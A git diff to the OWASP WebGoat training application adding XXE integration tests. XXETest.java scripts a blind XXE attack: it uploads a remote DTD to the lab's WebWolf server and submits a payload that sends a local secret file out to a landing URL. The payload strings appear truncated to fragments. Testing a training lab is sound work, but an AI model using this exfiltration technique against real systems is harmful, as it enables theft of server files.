diff --git a/webgoat-container/src/main/resources/application-webgoat.properties b/webgoat-container/src/main/resources/application-webgoat.properties
index 2346f3f30..c5665ba79 100644
--- a/webgoat-container/src/main/resources/application-webgoat.properties
+++ b/webgoat-container/src/main/resources/application-webgoat.properties
@@ -12,7 +12,8 @@ server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
security.require-ssl=${WEBGOAT_SSLENABLED:false}
-spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat
+hsqldb.port=${WEBGOAT_HSQLPORT:9001}
+spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
spring.jpa.hibernate.ddl-auto=update
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java
index 9114fcad1..d5f0924ca 100644
--- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java
+++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java
@@ -3,6 +3,7 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.config.RestAssuredConfig;
import io.restassured.config.SSLConfig;
+import io.restassured.http.ContentType;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.junit.After;
@@ -26,7 +27,6 @@ public abstract class IntegrationTest {
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
-
//This also allows to test the application with HTTPS when outside testing option is used
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
@@ -41,16 +41,18 @@ public abstract class IntegrationTest {
@BeforeClass
public static void beforeAll() {
- if (!started) {
+
+ if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
- .properties(Map.of("spring.config.name", "application-webgoat", "WEBGOAT_PORT", WG_PORT));
+ .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT));
wgs.run();
+
}
if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
- .properties(Map.of("spring.config.name", "application-webwolf", "WEBWOLF_PORT", WW_PORT));
+ .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
wws.run();
}
}
@@ -209,7 +211,7 @@ public abstract class IntegrationTest {
.config(restConfig)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
- .then()
+ .then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
Assert.assertThat(RestAssured.given()
@@ -221,4 +223,20 @@ public abstract class IntegrationTest {
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
}
+
+ public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
+ Assert.assertThat(
+ RestAssured.given()
+ .when()
+ .config(restConfig)
+ .contentType(contentType)
+ .cookie("JSESSIONID", getWebGoatCookie())
+ .body(body)
+ .post(url)
+ .then()
+ .statusCode(200)
+ .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+ }
+
}
+
diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java
new file mode 100644
index 000000000..86f2eb56c
--- /dev/null
+++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java
@@ -0,0 +1,81 @@
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+import org.junit.Test;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+
+public class XXETest extends IntegrationTest {
+
+ private static final String xxe3 = "]>&xxe;test";
+ private static final String xxe4 = "]>&xxe;test";
+ private static final String dtd7 = "\">%all;";
+ private static final String xxe7 = "%remote;]>test&send;";
+
+ private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat");
+ private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver");
+
+
+ @Test
+ public void runTests() throws IOException {
+ startLesson("XXE");
+
+ checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
+
+ checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
+
+
+
+ checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,""+getSecret()+"",true );
+
+ checkResults("xxe/");
+
+ }
+
+ /**
+ * This performs the steps of the exercise before the secret can be committed in the final step.
+ * @return
+ * @throws IOException
+ */
+ private String getSecret() throws IOException {
+
+ //remove any left over DTD
+ Path webWolfFilePath = Paths.get(webwolfFileDir);
+ if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
+ Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
+ }
+ String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
+ String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
+
+ //upload DTD
+ RestAssured.given()
+ .when()
+ .config(restConfig)
+ .cookie("WEBWOLFSESSION", getWebWolfCookie())
+ .multiPart("file", "blind.dtd", dtd7String.getBytes())
+ .post(webWolfUrl("/WebWolf/fileupload"))
+ .then()
+ .extract().response().getBody().asString();
+
+ //upload attack
+ String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
+ checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
+
+ //read results from WebWolf
+ String result = RestAssured.given()
+ .when()
+ .config(restConfig)
+ .cookie("WEBWOLFSESSION", getWebWolfCookie())
+ .get(webWolfUrl("/WebWolf/requests"))
+ .then()
+ .extract().response().getBody().asString();
+ result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
+ return result;
+ }
+
+}
diff --git a/webgoat-integration-tests/src/test/resources/application-inttest.properties b/webgoat-integration-tests/src/test/resources/application-inttest.properties
new file mode 100644
index 000000000..4286e914f
--- /dev/null
+++ b/webgoat-integration-tests/src/test/resources/application-inttest.properties
@@ -0,0 +1,10 @@
+#In order to run tests a known temp directory is preferred
+#that is why these values are used
+
+webgoat.user.directory=${user.dir}/target/.webgoat
+webgoat.server.directory=${user.dir}/target/.webgoat
+webwolf.fileserver.location=${user.dir}/target/webwolf-fileserver
+
+#database will get deleted for every mvn clean install
+#as these extra properties are read by WebGoat and WebWolf the drop of the tables
+#was not helpful.
\ No newline at end of file
diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java
index 4cda99dd3..d89d17519 100644
--- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java
+++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/ContentTypeAssignment.java
@@ -67,7 +67,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
}
- if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
+ if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
String error = "";
try {
Comment comment = comments.parseXml(commentStr);